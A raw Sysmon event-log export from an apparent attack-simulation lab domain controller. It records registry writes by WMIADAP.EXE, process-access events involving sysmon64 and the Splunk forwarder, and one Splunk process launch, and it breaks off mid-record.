13241300x80000000000000005765Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:32.811{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Wbem\WDM\DREDGE\C:\Windows\System32\drivers\ACPI.sys[ACPIMOFResource]LowDateTime:-1594147734,HighDateTime:30671341***Binary mof compiled successfully 13241300x80000000000000005764Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:32.811{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Wbem\WDM\DREDGE\C:\Windows\system32\en-US\kernelbase.dll.mui[MofResourceName]LowDateTime:625866771,HighDateTime:30682635***Binary mof compiled successfully 13241300x80000000000000005763Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:32.811{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Wbem\WDM\DREDGE\C:\Windows\system32\kernelbase.dll[MofResourceName]LowDateTime:1098060289,HighDateTime:30805949***Binary mof compiled successfully 12241200x80000000000000005762Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashDeleteKey2020-10-09 09:13:32.811{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Wbem\WDM\DREDGE 13241300x80000000000000005761Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localSuspicious,ImageBeginWithBackslashSetValue2020-10-09 09:13:32.811{A5F018FF-29AF-5F80-4601-000000007F01}4768\\?\C:\Windows\system32\wbem\WMIADAP.EXEHKLM\SOFTWARE\Microsoft\Wbem\PROVIDERS\Performance\Performance DataBinary Data 10341000x80000000000000005800Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.825{A5F018FF-29D0-5F80-4801-000000007F01}27484844C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005799Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.685{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-29D0-5F80-4801-000000007F01}2748C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005798Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.685{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005797Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.685{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005796Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.685{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005795Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.685{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005794Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.685{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005793Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.685{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005792Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.685{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005791Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.685{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005790Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.685{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005789Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.685{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-29D0-5F80-4801-000000007F01}2748C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005788Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.685{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-29D0-5F80-4801-000000007F01}2748C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005787Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.685{A5F018FF-29D0-5F80-4801-000000007F01}2748C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005786Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.013{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-29D0-5F80-4701-000000007F01}4856C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005785Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.013{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005784Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.013{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005783Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.013{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005782Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.013{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005781Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.013{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005780Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.013{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005779Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.013{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005778Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.013{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005777Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.013{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005776Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:52.013{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-29D0-5F80-4701-000000007F01}4856C:\Program 